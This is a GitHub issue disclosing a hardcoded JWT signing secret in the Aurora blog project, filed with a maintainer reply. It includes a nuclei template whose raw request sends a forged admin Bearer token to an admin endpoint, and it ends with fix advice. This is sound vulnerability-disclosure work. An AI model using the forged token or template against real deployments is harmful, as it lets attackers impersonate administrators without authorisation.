Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vulnerability] Unauthorised Access Vulnerability #167

Open
c41ico opened this issue Feb 18, 2024 · 1 comment
Open

[vulnerability] Unauthorised Access Vulnerability #167

c41ico opened this issue Feb 18, 2024 · 1 comment

Comments

@c41ico
Copy link

c41ico commented Feb 18, 2024

1. Steps to reproduce

Modify the sub field in jwt to be the id of another user to fake his/her identity.

image-20240218171327317

The nuclei template is as follows

id: aurora-jwt-hardencoding

info:
  name: Aurora blog jwt secret key hardencoding
  author: calico
  severity: high
  description: jwt secret key hardcoding leads to unauthorised access
  reference:
    - https://github.com/linhaojun857/aurora/
  tags: unauth

requests:
  - raw:
      - |+
        GET /api/admin/users/role HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJjMThlZTQxYWRmZDk0ZDYyOWQ2ZjExNTAxM2NkMjVmNiIsInN1YiI6IjEiLCJpc3MiOiJodWF3ZWltaWFuIn0.JoipYRzDC3jKAqNhV_0skiq4XikhNCmj2shMl5F1euA
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":20000'
      - type: status
        status:
          - 200

image-20240218172407307

2. Expected behavior

The JwtAuthenticationTokenFilter gets the jwt from the request via the tokenService#getUserDetailDTO method.

image-20240218170357360

image-20240218170417008

Call the parseToken method to verify that the jwt is valid.

3. Actual behavior

In the parseToken method, get the signing key for jwt via the generalKey method

image-20240218170159108

Since SECRET is hardcoded in the code, the same key is returned in the generalKey method, resulting in a forged jwt

image-20240218170211967

4. Affected Version

latest

5. Fixes Recommendations

Randomly generate the key for jwt when the program is run

@linhaojun857
Copy link
Owner

Thank you for your feedback, I will fix it as soon as possible, and also welcome pr

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants